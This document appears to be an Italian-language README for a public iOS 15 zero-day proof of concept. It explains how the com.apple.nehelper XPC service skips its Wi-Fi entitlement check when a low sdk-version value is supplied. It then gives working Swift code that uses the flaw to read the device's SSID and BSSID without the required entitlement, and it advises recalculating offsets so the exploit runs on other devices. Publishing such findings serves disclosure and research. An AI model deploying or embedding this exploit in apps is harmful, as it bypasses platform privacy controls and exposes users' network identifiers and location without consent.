
iOS 15 0-day exploit (still works in 15.0.2)
Ho aggiornato questo codice per evitare di usare direttamente le API private. Leggi di più nel mio post sul blog. Tuttavia, ciò significa che ora questo codice è specifico per la versione di iOS e possibilmente specifico per il modello di dispositivo. Quindi, se non funziona sul tuo dispositivo, ricalcola e aggiorna gli offset nel file c.c. Il codice originale si trova nel branch direct.
L'endpoint XPC com.apple.nehelper accetta il parametro fornito dall'utente sdk-version e, se il suo valore è minore o uguale a 524288, il controllo dell'entitlement com.apple.developer.networking.wifi-info viene saltato.
Questo rende possibile per qualsiasi app idonea (ad es. in possesso di autorizzazione all'accesso alla posizione) ottenere l'accesso alle informazioni Wi-Fi senza l'entitlement richiesto.
Questo avviene in -[NEHelperWiFiInfoManager checkIfEntitled:] in /usr/libexec/nehelper.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}